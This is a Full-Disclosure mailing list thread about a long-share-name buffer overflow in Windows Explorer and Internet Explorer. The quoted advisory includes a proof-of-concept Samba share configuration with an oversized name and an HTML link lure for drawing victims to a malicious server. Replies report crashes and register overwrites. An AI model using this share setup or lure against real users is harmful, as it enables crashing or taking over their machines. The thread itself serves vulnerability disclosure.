Re: [Full-Disclosure] Microsoft's Explorer and Internet Explorer long share name buffer overflow.

["KF (lists)" <kf_lists@xxxxxxxxxxxxx>]

This crashed IE 5.0.3700.1000 on Win2k SP4

Both the EBP and EIP were overwritten with 0x00410041.
ESP holds the Share name as passed by the server.
ESI holds   servers.ip\sharename (tolowered)

I guess its unicode ninjitsu time.

-KF


Milan 't4c' Berger wrote:

> Hello,
>
> I expierenced the same like Daniel.
> Windows 2k all hotfixes and patches installed.
> Machine doesn't crash, just gave me the error
> message "share name not found"
>
> Tested on german Windows 2000 pro SP4/IE6
> tested with Windows Explorer.
>
>
> Regards,
>     Milan
>
>
> Daniel Regalado Arias wrote:
>
> > Well, i have tested it in W2k with sp3 and explorer
> > didnt get crashed!!!!!!!
> >
> > Well, i cant get into the share because a message
> > appears saying "share name not found"!!!!
> >
> > But, explorer is OK.
> >
> >
> >  --- Rodrigo Gutierrez <rodrigo@xxxxxxxxxxxxxx>
> > escribió: > Sunday afternoon is a bit boring, and
> > weather sucks
> >
> > > down here in Santiago,
> > > Chile so here we go...
> > > The vuln is attached in TXT format, I would be
> > > gratefull if someone could
> > > verify if it affects windows 2003 as well.
> > >
> > > Rodrigo.-
> > >
> > > > Microsoft Explorer and Internet Explorer Long
> >
> > Share
> >
> > > Name Buffer Overflow.
> > >
> > >
> > >
> > > Author: Rodrigo Gutierrez <rodrigo@xxxxxxxxxxxxxx>
> > >
> > > Affected: MS Internet Explorer, MS Explorer
> > > (explorer.exe)          Windows XP(All), Windows 2000(All)
> > >
> > > Not Tested: Windows 2003, Windows me, Windows 98,
> > > Windows 95
> > >
> > > Vendor Status: i notified the vendor in the
> > > beginning of 2002, this
> > >               vulnerability was supposed to be
> > > fixed in xp service
> > >               pack 1 according to the vendors
> > > knowledge base article
> > >               322857.
> > >
> > > Vendor url:
> >
> > http://support.microsoft.com/default.aspx?scid=kb;en-us;322857
> >
> > > Background.
> > >
> > > MS Explorer (explorer.exe) and MS Internet
> > > Explorer(IEXPLORE.EXE) are core pieces of Microsoft Windows 
> > > Operating Systems.
> > >
> > >
> > >
> > > Description
> > >
> > > Windows fails to handle long share names when
> > > accessing a remote file servers such as samba, allowing a malicious
> > > server to crash the clients explorer and eventually get to execute
> > > arbitrary code in the machine as the current user (usually with
> > > Administrator rights in windows
> > > machines).
> > >
> > >
> > >
> > > Analysis
> > >
> > > In order to exploit this, an attacker must be able
> > > to get a user to connect to a malicious server which contains a 
> > > share name
> > > equal or longer than 300
> > > characters, windows wont allow you to create such a
> > > share, but of course samba includes the feature ;).   After your 
> > > samba box is
> > > up and running create a share in you smb.conf :
> > >
> > >
> > >
> > > #------------ CUT HERE -------------
> >
> > [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] 
> >
> >
> > > comment = Area 51
> > > path = /tmp/testfolder
> > > public = yes
> > > writable = yes
> > > printable = no
> > > browseable = yes
> > > write list = @trymywingchung
> > >
> > > #------------ CUT HERE -------------
> > >
> > >
> > > After your server is up, just get to your windows
> > > test box and get to the
> > > start menu > run > \\your.malicious.server.ip.,
> > > plufff, explorer will crash
> > > :).
> > >
> > > Social Engineering:
> > >
> > > <a href="\\my.malicious.server.ip">Enter My 0day
> > > sploit archive</a>
> > >
> > >
> > >
> > > Workaround.
> > >
> > > From your network card settings disable the client
> > > for Microsoft networks until a real fix for this vulnerability is
> > > available.
> >
> >
> > _________________________________________________________
> > Do You Yahoo!?
> > Información de Estados Unidos y América Latina, en Yahoo! Noticias.
> > Visítanos en http://noticias.espanol.yahoo.com
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html